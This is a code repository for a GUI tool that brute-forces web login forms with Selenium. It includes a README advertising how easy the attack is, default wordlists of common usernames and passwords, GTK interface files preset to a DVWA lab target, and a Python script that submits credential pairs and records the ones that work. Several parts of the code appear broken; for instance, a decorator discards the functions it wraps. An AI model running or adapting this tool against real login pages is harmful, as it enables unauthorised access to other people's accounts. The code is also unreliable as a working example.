├── README.md
├── dict
├── pwd.txt
└── users.txt
├── gui.glade
├── gui.glade~
├── main.py
└── result.txt
/README.md:
--------------------------------------------------------------------------------
1 | GUI-brut-form
2 | ===================
3 |
4 | Brutforce web forms has never been so easy
5 |
6 | ----------
7 |
8 | 
9 |
10 |
11 |
12 | ## Quick start
13 | ```
14 | $ sudo pacman -S python-gobject
15 | $ pip3 install selenium
16 | $ python3 main.py
17 | ```
18 |
19 |
20 |
21 | **Preferences**
22 |
23 | 1. target = 'http://mysite.com/admin/' # target page with a form-based
24 | 2. authentication. xPathLogin = "// input [@ name = 'login']" # xPath for the login field.
25 | 3. xPathPassword = "// input [@ name = 'password']" # xPath for the field password.
26 | 4. xPathAcceptButton = "//input [@ type = 'submit']" # xPath to enter the confirmation button.
27 | 5. xPathSuccessAuth = "// a [@ id = 'loginLink']" # xPath fo successful authorization conditions. xPathFailAuth = "// div [@ id ='error']" # xPath authorization failure conditions.
28 | 6. selBrowserString = '* firefox' # browser shows Selenium WebDriver which browser you want to run: * firefox, * chrome, * ie.
29 | 7. selFFProfile = 'ff_profile' # Profile Mozilla. This option is only used ff. This is a relative path to the directory with the profile. Parameters for brute forcer:
30 | 8. usersFile = 'dict / users.txt' # path to a file with a list of
31 | 9. usernames. passwordsFile = 'dict / pwd.txt' # path to a file with a list of passwords.
32 | 10. resultFile = 'result.txt' # path to the file tooutput the results.
33 | 11. brutThreads = 1 # The number of threads to run brute force.
34 |
35 |
36 |
--------------------------------------------------------------------------------
/dict/pwd.txt:
--------------------------------------------------------------------------------
1 |
2 | admin
3 | root
4 | user
5 | guest
6 | password
7 | 123
8 | 1234567890
9 | qwerty
--------------------------------------------------------------------------------
/dict/users.txt:
--------------------------------------------------------------------------------
1 | admin
2 | root
3 | user
4 | guest
5 |
--------------------------------------------------------------------------------
/gui.glade:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
47 |
48 | False
49 | dialog
50 |
51 |
52 | False
53 | vertical
54 | 2
55 |
56 |
57 | False
58 | end
59 |
60 |
61 |
62 |
63 |
64 | choose
65 | True
66 | True
67 | True
68 |
69 |
70 |
71 | True
72 | True
73 | 1
74 |
75 |
76 |
77 |
78 | False
79 | False
80 | 0
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 | False
91 |
92 |
93 | True
94 | True
95 |
96 |
97 | True
98 | False
99 | True
100 | True
101 |
102 |
103 | True
104 | False
105 | Target
106 |
107 |
108 | 0
109 | 0
110 |
111 |
112 |
113 |
114 | target_in
115 | True
116 | True
117 | http://10.111.113.83/dvwa/vulnerabilities/brute/
118 |
119 |
120 |
121 | 1
122 | 0
123 |
124 |
125 |
126 |
127 | True
128 | False
129 | xPathLogin
130 |
131 |
132 | 0
133 | 1
134 |
135 |
136 |
137 |
138 | True
139 | False
140 | xPathPassword
141 |
142 |
143 | 0
144 | 2
145 |
146 |
147 |
148 |
149 | True
150 | False
151 | xPathAcceptButton
152 |
153 |
154 | 0
155 | 3
156 |
157 |
158 |
159 |
160 | True
161 | False
162 | xPathSuccessAuth
163 |
164 |
165 | 0
166 | 4
167 |
168 |
169 |
170 |
171 | True
172 | False
173 | xPathFailAuth
174 |
175 |
176 | 0
177 | 5
178 |
179 |
180 |
181 |
182 | True
183 | False
184 | selBrowserString
185 |
186 |
187 | 0
188 | 6
189 |
190 |
191 |
192 |
193 | True
194 | False
195 | usersFile
196 |
197 |
198 | 0
199 | 7
200 |
201 |
202 |
203 |
204 | True
205 | False
206 | Password
207 |
208 |
209 | 0
210 | 8
211 |
212 |
213 |
214 |
215 | Select
216 | True
217 | True
218 | True
219 |
220 |
221 |
222 | 1
223 | 7
224 |
225 |
226 |
227 |
228 | Select
229 | True
230 | True
231 | True
232 |
233 |
234 |
235 | 1
236 | 8
237 |
238 |
239 |
240 |
241 | True
242 | True
243 | //input[@name='username']
244 |
245 |
246 | 1
247 | 1
248 |
249 |
250 |
251 |
252 | True
253 | True
254 | //input[@name='password']
255 |
256 |
257 | 1
258 | 2
259 |
260 |
261 |
262 |
263 | True
264 | True
265 | //input[@name='Login']
266 |
267 |
268 | 1
269 | 3
270 |
271 |
272 |
273 |
274 | True
275 | True
276 | //img[@src='http://10.111.113.83/dvwa/hackable/users/admin.jpg']
277 |
278 |
279 | 1
280 | 4
281 |
282 |
283 |
284 |
285 | True
286 | True
287 | //pre[contains(text(), 'Username and/or password incorrect.']
288 |
289 |
290 | 1
291 | 5
292 |
293 |
294 |
295 |
296 | True
297 | True
298 | *chrome
299 |
300 |
301 | 1
302 | 6
303 |
304 |
305 |
306 |
307 | True
308 | False
309 | brutThreads
310 |
311 |
312 | 0
313 | 9
314 |
315 |
316 |
317 |
318 | True
319 | True
320 | 1
321 |
322 |
323 | 1
324 | 9
325 |
326 |
327 |
328 |
329 | Start
330 | True
331 | True
332 | True
333 |
334 |
335 |
336 | 1
337 | 10
338 |
339 |
340 |
341 |
342 | True
343 | False
344 |
345 |
346 | 0
347 | 10
348 |
349 |
350 |
351 |
352 |
353 |
354 | True
355 | False
356 | Config
357 |
358 |
359 | False
360 |
361 |
362 |
363 |
364 | True
365 | True
366 |
367 |
368 | 1
369 |
370 |
371 |
372 |
373 | True
374 | False
375 | Result
376 |
377 |
378 |
379 | 1
380 | False
381 |
382 |
383 |
384 |
385 |
386 |
387 |
388 |
389 |
390 |
391 |
392 |
393 |
--------------------------------------------------------------------------------
/gui.glade~:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | False
7 | dialog
8 |
9 |
10 | False
11 | vertical
12 | 2
13 |
14 |
15 | False
16 | end
17 |
18 |
19 |
20 |
21 |
22 | choose
23 | True
24 | True
25 | True
26 |
27 |
28 |
29 | True
30 | True
31 | 1
32 |
33 |
34 |
35 |
36 | False
37 | False
38 | 0
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 | False
49 |
50 |
51 | True
52 | True
53 |
54 |
55 | True
56 | False
57 | True
58 | True
59 |
60 |
61 | True
62 | False
63 | Target
64 |
65 |
66 | 0
67 | 0
68 |
69 |
70 |
71 |
72 | target_in
73 | True
74 | True
75 | http://10.111.113.83/dvwa/vulnerabilities/brute/
76 |
77 |
78 |
79 | 1
80 | 0
81 |
82 |
83 |
84 |
85 | True
86 | False
87 | xPathLogin
88 |
89 |
90 | 0
91 | 1
92 |
93 |
94 |
95 |
96 | True
97 | False
98 | xPathPassword
99 |
100 |
101 | 0
102 | 2
103 |
104 |
105 |
106 |
107 | True
108 | False
109 | xPathAcceptButton
110 |
111 |
112 | 0
113 | 3
114 |
115 |
116 |
117 |
118 | True
119 | False
120 | xPathSuccessAuth
121 |
122 |
123 | 0
124 | 4
125 |
126 |
127 |
128 |
129 | True
130 | False
131 | xPathFailAuth
132 |
133 |
134 | 0
135 | 5
136 |
137 |
138 |
139 |
140 | True
141 | False
142 | selBrowserString
143 |
144 |
145 | 0
146 | 6
147 |
148 |
149 |
150 |
151 | True
152 | False
153 | usersFile
154 |
155 |
156 | 0
157 | 7
158 |
159 |
160 |
161 |
162 | True
163 | False
164 | Password
165 |
166 |
167 | 0
168 | 8
169 |
170 |
171 |
172 |
173 | Select
174 | True
175 | True
176 | True
177 |
178 |
179 |
180 | 1
181 | 7
182 |
183 |
184 |
185 |
186 | Select
187 | True
188 | True
189 | True
190 |
191 |
192 |
193 | 1
194 | 8
195 |
196 |
197 |
198 |
199 | True
200 | True
201 | //input[@name='username']
202 |
203 |
204 | 1
205 | 1
206 |
207 |
208 |
209 |
210 | True
211 | True
212 | //input[@name='password']
213 |
214 |
215 | 1
216 | 2
217 |
218 |
219 |
220 |
221 | True
222 | True
223 | //input[@name='Login']
224 |
225 |
226 | 1
227 | 3
228 |
229 |
230 |
231 |
232 | True
233 | True
234 | //img[@src='http://10.111.113.83/dvwa/hackable/users/admin.jpg']
235 |
236 |
237 | 1
238 | 4
239 |
240 |
241 |
242 |
243 | True
244 | True
245 | //pre[contains(text(), 'Username and/or password incorrect.']
246 |
247 |
248 | 1
249 | 5
250 |
251 |
252 |
253 |
254 | True
255 | True
256 | *chrome
257 |
258 |
259 | 1
260 | 6
261 |
262 |
263 |
264 |
265 | True
266 | False
267 | brutThreads
268 |
269 |
270 | 0
271 | 9
272 |
273 |
274 |
275 |
276 | True
277 | True
278 | 1
279 |
280 |
281 | 1
282 | 9
283 |
284 |
285 |
286 |
287 | Start
288 | True
289 | True
290 | True
291 |
292 |
293 |
294 | 1
295 | 10
296 |
297 |
298 |
299 |
300 | True
301 | False
302 |
303 |
304 | 0
305 | 10
306 |
307 |
308 |
309 |
310 |
311 |
312 | True
313 | False
314 | Config
315 |
316 |
317 | False
318 |
319 |
320 |
321 |
322 | True
323 | True
324 |
325 |
326 | 1
327 |
328 |
329 |
330 |
331 | True
332 | False
333 | Result
334 |
335 |
336 |
337 | 1
338 | False
339 |
340 |
341 |
342 |
343 |
344 |
345 |
346 |
347 |
348 |
349 |
350 |
351 |
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | import gi
2 |
3 | from selenium import webdriver
4 | from selenium.webdriver.support.ui import WebDriverWait
5 |
6 | import traceback
7 | import os
8 | import sys
9 | from datetime import datetime
10 | import time
11 | import threading
12 | import random
13 | import argparse
14 | import re
15 | import functools
16 |
17 | gi.require_version('Gtk', '3.0')
18 | from gi.repository import Gtk
19 | from gi.repository import Notify
20 |
21 | class Handler:
22 |
23 | def __init__(self):
24 | self.workDir = os.path.abspath(os.curdir)
25 | self.threads = []
26 | self.browsers = []
27 | self.target = builder.get_object("target_in").get_text()
28 | self.xPathLogin = builder.get_object("login_in_1").get_text()
29 | self.xPathPassword = builder.get_object("pass_in").get_text()
30 | self.xPathAcceptButton = builder.get_object("login_in").get_text()
31 | self.xPathSuccessAuth = builder.get_object("auth_in").get_text()
32 | self.xPathFailAuth = builder.get_object("login_in").get_text()
33 | self.selBrowserString = '*chrome'
34 | self.selFFProfile = 'ff_profile'
35 | self.usersFile = 'dict/users.txt'
36 | self.passwordsFile = 'dict/pwd.txt'
37 | self.resultFile = 'result.txt'
38 | self.brutThreads = 1
39 | self.rumpUpPeriod = self.brutThreads * 5
40 | self.timeout = 1
41 | self.randomCredentials = False
42 | self.randomGeneratorParameter = [100, 8, 1, 1, 1, 0, 0, 0]
43 | self.fd = open('result.txt', 'r')
44 | self.xPathFailAuth = builder.get_object("Text").get_buffer().set_text(self.fd.read())
45 | self.file_ch = builder.get_object("file_ch")
46 | self.file_ch_id1 = builder.get_object("file_ch1")
47 |
48 | def onDeleteWindow(self, *args):
49 | Gtk.main_quit(*args)
50 |
51 | def btn_start(self, button):
52 | self.Main()
53 |
54 | def user_file(self, button):
55 | self.file_ch.show_all()
56 |
57 | def user_pswd(self, button):
58 | self.file_ch_id1.show_all()
59 |
60 | def choose_btn(self, button):
61 | self.usersFile = self.file_ch.get_filename()
62 | self.file_ch.close()
63 |
64 | def choose_btn1(self, button):
65 | self.passwordsFile = self.file_ch_id1.get_filename()
66 | self.file_ch_id1.close()
67 |
68 | def Main(self):
69 | """
70 | Multithread runner.
71 | """
72 | try:
73 |
74 | print('%s - Getting list of users ...' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
75 | usersList = self.GetListFromFile(self.usersFile)
76 | print('%s - Getting list of passwords ...' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
77 | passwordsList = [self.GetListFromFile(self.passwordsFile)]
78 | if len(passwordsList[0]) / self.brutThreads <= 1:
79 | self.brutThreads = 1
80 | if self.brutThreads > 1:
81 | print('%s - Separate passwords list by threads ...' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
82 | passwordsList = self.SeparateListByPieces(passwordsList[0], self.brutThreads)
83 | print('%s - Bruter initialize, status: oK' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
84 |
85 | for i in range(self.brutThreads):
86 | self.OpenBrowser(i, self.timeout, self.selBrowserString, self.selFFProfile)
87 | self.GoingToTarget(i, self.timeout, self.target,
88 | self.xPathLogin, self.xPathPassword, self.xPathAcceptButton)
89 |
90 | self.threads.append(threading.Thread(
91 | target=self.Bruter,
92 | args=(i, self.timeout, self.xPathLogin, self.xPathPassword, self.xPathAcceptButton,
93 | self.xPathSuccessAuth, self.xPathFailAuth, usersList, passwordsList[i],
94 | self.randomCredentials, self.resultFile)))
95 |
96 | et = self.EstimateTime(len(usersList), len(passwordsList[i]), self.timeout,
97 | round(self.rumpUpPeriod / self.brutThreads))
98 | print('%s - Thread #%d, %s' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), i, et))
99 | self.threads[i].start()
100 |
101 | if (self.brutThreads > 1) and (self.rumpUpPeriod > 0) and (i != self.brutThreads - 1):
102 | time.sleep(self.rumpUpPeriod / self.brutThreads)
103 |
104 | threadsAreInProgress = True
105 | while threadsAreInProgress:
106 | for t in self.threads:
107 | if t != None:
108 | threadsAreInProgress = True
109 | break
110 | else:
111 | threadsAreInProgress = False
112 |
113 | except BaseException:
114 | print('%s - Bruter initialize, status: error' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
115 | traceback.print_exc()
116 |
117 | finally:
118 | status = self.Cleaner()
119 | sys.exit(status)
120 |
121 | def ParseArgs(self):
122 | """
123 | Function get and parse command line keys.
124 | """
125 | args = []
126 | try:
127 | parser = argparse.ArgumentParser()
128 | parser.add_argument("-t", "--target", type=str,
129 | help="Target URL for Bruter. For example: '--target=http://mysite.com/admin/'")
130 | parser.add_argument("-b", "--browser", type=str,
131 | help="Browser for Bruter (*firefox, *ie, *chrome). *firefox by default.")
132 | parser.add_argument("-r", "--random", type=str,
133 | help="If this key is True then Bruter uses random user and password in every iteration.")
134 | parser.add_argument("-T", "--threads", type=int, help="Thread's number.")
135 | parser.add_argument("-w", "--wait", type=int, help="Waiting for operation's finish (sec.).")
136 | parser.add_argument("-p", "--period", type=int,
137 | help="Rump up period shows time (sec.) in which all test suite threads will start.")
138 | parser.add_argument("-L", "--logins", type=str, help="Path to user's list. Default: dict/users.txt")
139 | parser.add_argument("-P", "--passwords", type=str, help="Path to password's list. Default: dict/pwd.txt")
140 | parser.add_argument("-R", "--results", type=str, help="Path to result file. Default: result.txt")
141 | parser.add_argument("-g", "--generator", type=str,
142 | help="Generate a lot of random strings for Bruter. Example: '-g [100,8,1,1,1,0,0,0]'.\n" +
143 | "This means:\n" +
144 | "1 number - number of strings, 2 - string's length, 3 - use or not Numbers," +
145 | "4 - use or not Latin Upper Case Chars, 5 - use or not Latin Lower Case Chars" +
146 | "6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars,"
147 | "8 - use or not Special Simbols. Output file: dict/rnd_.txt")
148 | args = parser.parse_args()
149 | if args.target != None:
150 | self.target = args.target
151 | if (args.browser == '*chrome') or (args.browser == '*ie'):
152 | self.selBrowserString = args.browser
153 | else:
154 | self.selBrowserString = '*firefox'
155 | if args.random != None:
156 | if args.random == 'True':
157 | self.randomCredentials = True
158 | else:
159 | self.randomCredentials = False
160 | if args.threads != None:
161 | self.brutThreads = args.threads
162 | if args.wait != None:
163 | self.timeout = args.wait
164 | if args.period != None:
165 | self.rumpUpPeriod = args.period
166 | if args.logins != None:
167 | if os.path.exists(args.logins):
168 | self.usersFile = args.logins
169 | else:
170 | self.usersFile = 'dict/users.txt'
171 | if args.passwords != None:
172 | if os.path.exists(args.passwords):
173 | self.passwordsFile = args.passwords
174 | else:
175 | self.passwordsFile = 'dict/pwd.txt'
176 | if args.results != None:
177 | if os.path.exists(args.results):
178 | self.resultFile = args.results
179 | else:
180 | self.resultFile = 'result.txt'
181 | if args.generator != None:
182 | params = []
183 | try:
184 | params = self.StringOfNumToNumsList(args.generator)
185 | except:
186 | pass
187 | finally:
188 | if len(params) >= 8:
189 | self.randomGeneratorParameter = params
190 | else:
191 | print('%s - Generator using default parameters from config file: %s' %
192 | (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), self.randomGeneratorParameter))
193 | print('%s - Parsing command line arguments, status: oK' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
194 | except BaseException:
195 | print('%s - Parsing command line arguments, status: error' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
196 | traceback.print_exc()
197 | finally:
198 | return args
199 |
200 | def EstimateTime(self, numLogins=0, numPasswords=0, waitInSec=1, timeForStartingTreads=0):
201 | """
202 | Function returns info about estimate time.
203 | """
204 | try:
205 | es = numLogins * numPasswords * waitInSec + timeForStartingTreads
206 | eh = round(es / 3600)
207 | info = 'Users: %d, Passwords: %d, Full Estimated Time: %d sec. (~%d hours).' % \
208 | (numLogins, numPasswords, es, eh)
209 | except BaseException:
210 | traceback.print_exc()
211 | return 'Can\'t compute estimate time!'
212 | return info
213 |
214 | def DurationOperation(func):
215 | """
216 | This is decorator for compute duration operation of functions. It works only with functions returning number >= 0.
217 | """
218 |
219 | def wrapper(*args, **kwargs):
220 | print('Thread starter')
221 | # startTime = datetime.now()
222 | # print('%s - Thread #%d, %s, starting ...' % (startTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func)))
223 | # status = func(*args, **kwargs)
224 | # stopTime = datetime.now()
225 | # if status == 0:
226 | # print('%s - Thread #%d, %s, status: oK' % (stopTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func)))
227 | # else:
228 | # print(
229 | # '%s - Thread #%d, %s, status: error' % (stopTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func)))
230 | # duration = stopTime - startTime
231 | # print('%s - Thread #%d, %s, duration operation: %s' %
232 | # (stopTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func), str(duration)))
233 | # return status
234 |
235 | return wrapper
236 |
237 | def StringOfNumToNumsList(self, string):
238 | """
239 | Get some string with numbers and other simbols, for example:'[572,573,604,650]' or similar
240 | and convert it to list of numbers as [572, 573, 604, 650].
241 | """
242 | numList = []
243 | try:
244 | while len(string) != 0:
245 | s = ''
246 | i = 0
247 | flag = True
248 | while flag and i < len(string):
249 | if string[i] in '0123456789':
250 | s = s + string[i]
251 | i += 1
252 | else:
253 | flag = False
254 | if s != '':
255 | numList.append(int(s))
256 | string = string[i + 1:]
257 | except:
258 | print('%s - Can\'t parse your string of numbers to list of numbers!' %
259 | datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
260 | traceback.print_exc()
261 | return []
262 | return numList
263 |
264 | def GetListFromFile(self, file):
265 | """
266 | This function get strings from file and put into list. Text-file must have #13#10
267 | """
268 | listFromFile = []
269 | if os.path.exists(file):
270 | try:
271 | with open(file) as fh:
272 | allStrings = fh.read()
273 | listFromFile = allStrings.split('\n')
274 | except BaseException:
275 | print('%s - Can\'t get list from file: %s' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), file))
276 | traceback.print_exc()
277 | return []
278 | return listFromFile
279 |
280 | def SeparateListByPieces(self, fullList, piecesNum):
281 | """
282 | Function get full list of objects and then divided into a number of parts. Last part may be bigger, than other.
283 | Function return a list of part of full list.
284 | """
285 | separate = []
286 | listLen = len(fullList)
287 | if (listLen > 0) and (piecesNum > 1):
288 | try:
289 | objectsInPieces = listLen // piecesNum
290 | for i in range(piecesNum):
291 | piece = [fullList[i * objectsInPieces + k] for k in range(objectsInPieces)]
292 | separate.append(piece)
293 | separate[piecesNum - 1] += fullList[piecesNum * objectsInPieces:]
294 | except BaseException:
295 | print('%s - Can\'t separate list of objects!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
296 | traceback.print_exc()
297 | return [fullList]
298 | else:
299 | separate = [fullList]
300 | return separate
301 |
302 | @DurationOperation
303 | def Reporting(self, instance=0, file='result.txt', creds=None, users=None, passwords=None, actualTime=0):
304 | """
305 | This function print results to file.
306 | """
307 | try:
308 | if os.path.exists(file):
309 | fileTo = open(file, 'a')
310 | else:
311 | fileTo = open(file, 'w')
312 | fileTo.write('\n%s - Thread #%d, Bruter finished check for\n' %
313 | (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance) +
314 | 'users = [\'%s\', ..., \'%s\'], %d items,\n' % (users[0], users[-1], len(users)) +
315 | 'passwords = [\'%s\', ..., \'%s\'], %d items.\n' % (
316 | passwords[0], passwords[-1], len(passwords)) +
317 | 'Actual time worked: %s\n' % str(actualTime))
318 | if (creds != None) and (creds != {}):
319 | fileTo.write('Suitable credentials: %s\n' % str(creds))
320 | else:
321 | fileTo.write('Bruter can\'t find suitable credentials.\n')
322 | print('%s - Thread #%d, Updating report file: \'%s\'' %
323 | (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance, file))
324 | fileTo.close()
325 | except BaseException:
326 | traceback.print_exc()
327 | return 1
328 | return 0
329 |
330 | @DurationOperation
331 | def OpenBrowser(self, instance=0, opTimeout=10, browserString='*firefox', ffProfile=None):
332 | try:
333 | # Get new browser instance and put it into browser array. One browser for one thread.
334 | if browserString == '*chrome':
335 | chromeOptions = webdriver.ChromeOptions()
336 | chromeOptions.add_argument('--start-maximized')
337 | chromeOptions.add_argument('--log-path=' + self.workDir + '/browser_drivers/chromedriver.log')
338 | os.chdir(self.workDir + '/browser_drivers')
339 | self.browsers.append(webdriver.Chrome(executable_path=self.workDir + '/browser_drivers/chromedriver.exe',
340 | chrome_options=chromeOptions))
341 | os.chdir(self.workDir)
342 | elif browserString == '*ie':
343 | self.browsers.append(webdriver.Ie(executable_path=self.workDir + '/browser_drivers/IEDriverServer.exe',
344 | log_file=self.workDir + '/browser_drivers/iedriver.log'))
345 | self.browsers[len(self.browsers) - 1].maximize_window()
346 | else:
347 | ffp = webdriver.FirefoxProfile(ffProfile)
348 | self.browsers.append(webdriver.Firefox(firefox_profile=ffp, timeout=opTimeout))
349 | self.browsers[len(self.browsers) - 1].maximize_window()
350 | except BaseException:
351 | traceback.print_exc()
352 | return 1
353 | return 0
354 |
355 | @DurationOperation
356 | def GoingToTarget(self, instance=0, opTimeout=10, targetURL='', loginField="//input[@name='login']",
357 | passwordField="//input[@name='password']", acceptButton="//input[@type='submit']"):
358 | """
359 | This funcion going to target's URL with form-based auth.
360 | """
361 | try:
362 | page = self.browsers[instance]
363 | page.get(targetURL)
364 | WebDriverWait(page, opTimeout).until(
365 | lambda el: el.find_element_by_xpath(loginField).is_displayed() and
366 | el.find_element_by_xpath(passwordField).is_displayed() and
367 | el.find_element_by_xpath(acceptButton).is_displayed(), 'Timeout while opening auth page.')
368 | except BaseException:
369 | traceback.print_exc()
370 | return 1
371 | return 0
372 |
373 | @DurationOperation
374 | def CloseBrowser(self, instance=0):
375 | """
376 | Try to close WebDriver browser.
377 | """
378 | if len(self.browsers) > 0:
379 | if self.browsers[instance] != None:
380 | try:
381 | self.browsers[instance].close()
382 | self.browsers[instance] = None
383 | except BaseException:
384 | traceback.print_exc()
385 | return 1
386 | return 0
387 |
388 | def Cleaner(self):
389 | """
390 | Finalization step for Bruter.
391 | """
392 | status = 0
393 | try:
394 | # Stopping compute threads and closing browsers.
395 | for t in self.threads:
396 | if t != None:
397 | t._stop()
398 | t = None
399 | for b in range(len(self.browsers)):
400 | status += self.CloseBrowser(b)
401 | if status == 0:
402 | print('%s - Bruter finalize, status: oK' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
403 | except BaseException:
404 | print('%s - Bruter finalize, status: error' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
405 | traceback.print_exc()
406 | return 1
407 | return status
408 |
409 | def GenerateRandomString(self, length=8, useNum=True, useEngUp=True, useEngLo=True, useRuUp=False, useRuLo=False,
410 | useSpecial=False):
411 | """
412 | Function return random text-string definite length, that will be use as login or password.
413 | 1 number - number of strings, 2 - string's length, 3 - use or not Numbers,
414 | 4 - use or not English Upper Case Chars, 5 - use or not English Lower Case Chars,
415 | 6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars, 8 - use or not Special Simbols.
416 | """
417 | # There are possible simbols in alphabet.
418 | alphabet = {
419 | 'dicNum': '1234567890',
420 | 'dicEngCharUpperCase': 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',
421 | 'dicEngCharLowerCase': 'abcdefghijklmnopqrstuvwxyz',
422 | 'dicRuCharUpperCase': 'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЬЫЪЭЮЯ',
423 | 'dicRuCharLowerCase': 'абвгдеёжзийклмнопрстуфхцчшщьыъэюя',
424 | 'dicSpecial': '!@#$%^&*()-_+=.,<>[]{}\|/`~"\':;'}
425 |
426 | # Preparing user's alphabet.
427 | usersAlphabet = ''
428 | if useNum:
429 | usersAlphabet += alphabet['dicNum']
430 | if useEngUp:
431 | usersAlphabet += alphabet['dicEngCharUpperCase']
432 | if useEngLo:
433 | usersAlphabet += alphabet['dicEngCharLowerCase']
434 | if useRuUp:
435 | usersAlphabet += alphabet['dicRuCharUpperCase']
436 | if useRuLo:
437 | usersAlphabet += alphabet['dicRuCharLowerCase']
438 | if useSpecial:
439 | usersAlphabet += alphabet['dicSpecial']
440 | usersAlpLen = len(usersAlphabet)
441 |
442 | textString = ''
443 | try:
444 | if (length > 0) and (usersAlphabet != ''):
445 | for i in range(length):
446 | textString += usersAlphabet[random.randint(0, usersAlpLen - 1)]
447 | except BaseException:
448 | textString = ''
449 | print('%s - Can\'t generate random string!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
450 | traceback.print_exc()
451 | finally:
452 | return textString
453 |
454 | def GenerateListOfRandomStrings(self, numbers=10, length=8, useNum=True, useEngUp=True, useEngLo=True,
455 | useRuUp=False, useRuLo=False, useSpecial=False):
456 | """
457 | Function return list of random text-string definite length, that will be use as login or password.
458 | 1 number - number of strings, 2 - string's length, 3 - use or not Numbers,
459 | 4 - use or not English Upper Case Chars, 5 - use or not English Lower Case Chars,
460 | 6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars, 8 - use or not Special Simbols.
461 | """
462 | rndList = []
463 | try:
464 | if numbers > 0:
465 | for i in range(numbers):
466 | rndList.append(
467 | self.GenerateRandomString(length, useNum, useEngUp, useEngLo, useRuUp, useRuLo, useSpecial))
468 | except BaseException:
469 | rndList = []
470 | print('%s - Can\'t generate list of random string!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
471 | traceback.print_exc()
472 | finally:
473 | return rndList
474 |
475 | def GenerateFileWithRandomStrings(self, par=None):
476 | """
477 | Function create file with random text-string, that will be use as login or password.
478 | Example: Par = [100, 5, 1, 1, 1, 0, 0, 0]
479 | 1 number - number of strings, 2 - string's length, 3 - use or not Numbers,
480 | 4 - use or not English Upper Case Chars, 5 - use or not English Lower Case Chars,
481 | 6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars, 8 - use or not Special Simbols.
482 | """
483 | file = 'dict/rnd_' + datetime.now().strftime('%d_%m_%Y_%H_%M_%S') + '.txt'
484 | try:
485 | if not (os.path.exists('dict')):
486 | os.mkdir('dict')
487 | fileTo = open(file, 'a')
488 | if len(par) >= 8:
489 | for i in range(2, 8):
490 | if par[i] == 1:
491 | par[i] = True
492 | else:
493 | par[i] = False
494 | rndList = self.GenerateListOfRandomStrings(par[0], par[1], par[2], par[3], par[4], par[5], par[6], par[7])
495 | else:
496 | rndList = self.GenerateListOfRandomStrings(numbers=10, length=8, useNum=True, useEngUp=True, useEngLo=True,
497 | useRuUp=False, useRuLo=False, useSpecial=False)
498 | if len(rndList) > 0:
499 | for string in rndList:
500 | fileTo.write(string + '\n')
501 | print('%s - Generate file with random strings: %s' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), file))
502 | fileTo.close()
503 | except BaseException:
504 | print('%s - Can\'t generate file with random strings!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y'))
505 | traceback.print_exc()
506 | return 1
507 | return 0
508 |
509 | @DurationOperation
510 | def Bruter(self, instance=0, opTimeout=3, loginField="", passwordField="", acceptButton="", successAuth="", failAuth="",
511 | users=None, passwords=None, randomization=False, result='result.txt'):
512 | """
513 | This function loops through user IDs and passwords and finds suitable credentials.
514 | """
515 |
516 | suitableCredentials = {}
517 | startTime = datetime.now()
518 | try:
519 | page = self.browsers[instance]
520 | modUsers = users[:]
521 | modPasswords = passwords[:]
522 | if randomization:
523 | print('%s - Thread #%d, shuffling users and passwords ...' %
524 | (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance))
525 | random.shuffle(modUsers)
526 | random.shuffle(modPasswords)
527 | print('%s - Thread #%d, trying to use credentials ...' %
528 | (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance))
529 | for user in modUsers:
530 | for pwd in modPasswords:
531 | try:
532 | page.find_element_by_xpath(loginField).clear()
533 | page.find_element_by_xpath(loginField).send_keys(user)
534 | page.find_element_by_xpath(passwordField).clear()
535 | page.find_element_by_xpath(passwordField).send_keys(pwd)
536 | page.find_element_by_xpath(acceptButton).click()
537 | WebDriverWait(page, opTimeout).until(
538 | lambda el: el.find_element_by_xpath(successAuth).is_displayed(), '')
539 | suitableCredentials = {user: pwd}
540 | print('%s - Thread #%d, found valid credentials: %s' %
541 | (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance, str({user: pwd})))
542 | break
543 | except:
544 | try:
545 | WebDriverWait(page, opTimeout).until(
546 | lambda el: el.find_element_by_xpath(failAuth).is_displayed(),
547 | '%s - Thread #%d, Can\'t find auth fields! Possible connection problem.' %
548 | (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance))
549 | except:
550 | pass
551 | if suitableCredentials != {}:
552 | break
553 | self.threads[instance] = None
554 | self.Reporting(instance, result, suitableCredentials, users, passwords, datetime.now() - startTime)
555 | except:
556 | traceback.print_exc()
557 | return 1
558 | return 0
559 |
560 | builder = Gtk.Builder()
561 | builder.add_from_file("gui.glade")
562 | builder.connect_signals(Handler())
563 |
